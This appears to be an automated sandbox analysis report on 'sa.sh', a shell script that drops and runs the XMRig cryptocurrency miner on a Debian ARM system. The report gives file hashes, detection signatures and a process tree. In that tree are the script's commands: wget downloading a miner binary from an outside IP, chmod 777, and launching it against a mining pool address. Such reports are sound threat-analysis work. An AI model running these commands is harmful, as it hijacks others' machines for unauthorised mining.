Analysis

  • max time kernel
    25s
  • max time network
    31s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29-12-2024 23:44

General

  • Target

    sa.sh

  • Size

    438B

  • MD5

    52f6ef322dd61383cc5f03bba971ecc1

  • SHA1

    a540ec9917e63a178aa44b3f3570a54ff8c88135

  • SHA256

    82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97

  • SHA512

    c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • Xmrig_linux family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sa.sh
    /tmp/sa.sh
    1⤵
      PID:649
    • /usr/bin/nohup
      nohup bash /tmp/sa.sh nobg
      1⤵
        PID:651
      • /usr/local/sbin/bash
        bash /tmp/sa.sh nobg
        1⤵
          PID:651
        • /usr/local/bin/bash
          bash /tmp/sa.sh nobg
          1⤵
            PID:651
          • /usr/sbin/bash
            bash /tmp/sa.sh nobg
            1⤵
              PID:651
            • /usr/bin/bash
              bash /tmp/sa.sh nobg
              1⤵
                PID:651
              • /sbin/bash
                bash /tmp/sa.sh nobg
                1⤵
                  PID:651
                • /bin/bash
                  bash /tmp/sa.sh nobg
                  1⤵
                    PID:651
                    • /usr/bin/wget
                      wget http://81.28.10.96/xmrig --no-check-certificate -O xmrig
                      2⤵
                      • Writes file to tmp directory
                      PID:658
                    • /bin/chmod
                      chmod 777 xmrig
                      2⤵
                      • File and Directory Permissions Modification
                      PID:757
                    • /usr/bin/pgrep
                      pgrep -x xmrig
                      2⤵
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:758
                    • /tmp/xmrig
                      ./xmrig --url 193.232.178.53:80 -B
                      2⤵
                      • Executes dropped EXE
                      PID:759
                    • /bin/sleep
                      sleep 5
                      2⤵
                        PID:760
                      • /usr/bin/pgrep
                        pgrep -x xmrig
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:762
                      • /bin/sleep
                        sleep 5
                        2⤵
                          PID:764
                        • /tmp/xmrig
                          ./xmrig --url 193.232.178.53:80 -B
                          2⤵
                          • Executes dropped EXE
                          PID:763

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/xmrig

                        Filesize

                        7.9MB

                        MD5

                        8f4fff0ded94f1141768220906abfbb8

                        SHA1

                        ea7c97294f415dc8713ac8c280b3123da62f6e56

                        SHA256

                        b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

                        SHA512

                        0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee